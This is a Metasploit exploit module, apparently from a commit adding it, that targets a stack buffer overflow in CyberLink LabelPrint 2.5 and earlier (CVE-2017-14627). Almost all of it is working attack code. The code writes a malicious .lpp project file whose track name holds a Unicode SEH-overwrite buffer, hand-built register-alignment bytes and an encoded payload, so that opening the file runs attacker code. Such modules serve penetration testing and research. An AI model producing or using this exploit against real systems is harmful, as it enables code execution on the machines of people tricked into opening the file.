Add CyberLink LabelPrint < 2.5 - Local Buffer Overflow (SEH Unicode)
Add CyberLink LabelPrint < 2.5 - Local Buffer Overflow (SEH Unicode)master
Thomas Gregory
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Seh
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def initialize(info={})
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super(update_info(info,
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'Name' => "CyberLink LabelPrint 2.5 Stack Buffer Overflow",
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'Description' => %q{
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This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
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The vulnerability is triggered when opening a .lpp project file containing overly long string characters
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via open file menu. This results in overwriting a structured exception handler record and take over the
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application. This module has been tested on Windows 7x64.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'modpr0be <tom@spentera.id>', # initial discovery and metasploit module
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'f3ci <marie@spentera.id>' # unicode kungfu
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],
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'References' =>
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[
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[ 'CVE', '2017-14627' ],
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[ 'EDB', '42777' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'DisablePayloadHandler' => 'true'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['CyberLink LabelPrint <= 2.5 (Win 7x64)', { 'Ret' => "\x2c\x44", 'Offset' => 790 } ]
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],
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'Payload' =>
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{
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'Space' => 15000,
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'BadChars' => "\x00", #badchars starts from 80 until the rest of it.
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'DisableNops' => true
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},
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'DisclosureDate' => 'Sep 23 2017',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The malicious file name', 'msf.lpp'])
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])
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end
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def get_payload(hunter)
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[ 'x86/unicode_mixed' ].each { |name|
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enc = framework.encoders.create(name)
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if name =~ /unicode/
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enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
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hunter = enc.encode(hunter, nil, nil, platform)
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end
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}
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return hunter
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end
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def exploit
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nop = "\x42"
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junk = "\x41" #junk must specifically static, put A as example
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buffer = ""
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buffer << junk * target['Offset']
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buffer << "\x61\x42" # nseh
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buffer << target['Ret'] # seh
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#we need to encode the RET address, since C3 is known bad char.
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#preparing address for the decoded RET
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buffer << nop #nop/inc edx
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buffer << "\x54" #push esp
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buffer << nop #nop/inc edx
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x05\x1B\x01" #add eax 01001B00 universal
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buffer << nop #nop/inc edx
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buffer << "\x2d\x01\x01" #sub eax 01001000
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buffer << nop #nop/inc edx
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buffer << "\x50" #push eax
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buffer << nop #nop/inc edx
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buffer << "\x5c" #pop esp
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#preparing ret opcode
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buffer << nop #nop/inc edx
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buffer << "\x25\x7e\x7e" #and eax,7e007e00
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buffer << nop #nop/inc edx
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buffer << "\x25\x01\x01" #and eax,01000100
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buffer << nop #nop/inc edx
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buffer << "\x35\x7f\x7f" #xor eax,7f007f00
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buffer << nop #nop/inc edx
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buffer << "\x05\x44\x44" #add eax,44004400
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buffer << nop #nop/inc edx
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buffer << "\x57" #push edi
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buffer << nop #nop/inc edx
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buffer << "\x50" #push eax
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buffer << junk * 857 #depending OS
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#custom venetian to reach shellcode
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x05\x09\x01" #depending OS
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buffer << nop #nop/inc edx
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buffer << "\x2d\x01\x01" #add eax, 01000100 #align eax to our buffer
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buffer << nop #nop/inc edx
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buffer << "\x50" #push eax
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buffer << nop #nop/inc edx
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#crafting call esp 0x7c32537b MFC71U.dll
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buffer << "\x5C" #pop esp
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buffer << nop #nop/inc edx
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x05\x53\x7c" #add eax 7c005300 part of call esp
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buffer << nop #nop/inc edx
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buffer << "\x50" #push eax
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buffer << junk * 104 #depending OS
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buffer << "\x7b\x32" #part of call esp
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#preparing for shellcode
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buffer << nop * 114 #junk
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buffer << "\x57" #push edi
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buffer << nop #nop/inc edx
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x05\x0A\x01" #depending OS
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buffer << nop #nop/inc edx
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buffer << "\x2d\x01\x01" #sub eax,01000100
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buffer << nop #nop/inc edx
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buffer << get_payload(payload.encoded)
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buffer << junk * 4090 #fill the rest of buffer, must be added.
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lpp_data = <<-EOS
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<PROJECT version="1.0.00">
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<INFORMATION title="" author="" date="1/1/1970" SystemTime="1/1/1970">
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<TRACK name="#{buffer}" />
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</INFORMATION>
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</PROJECT>
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EOS
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(lpp_data)
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end
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end
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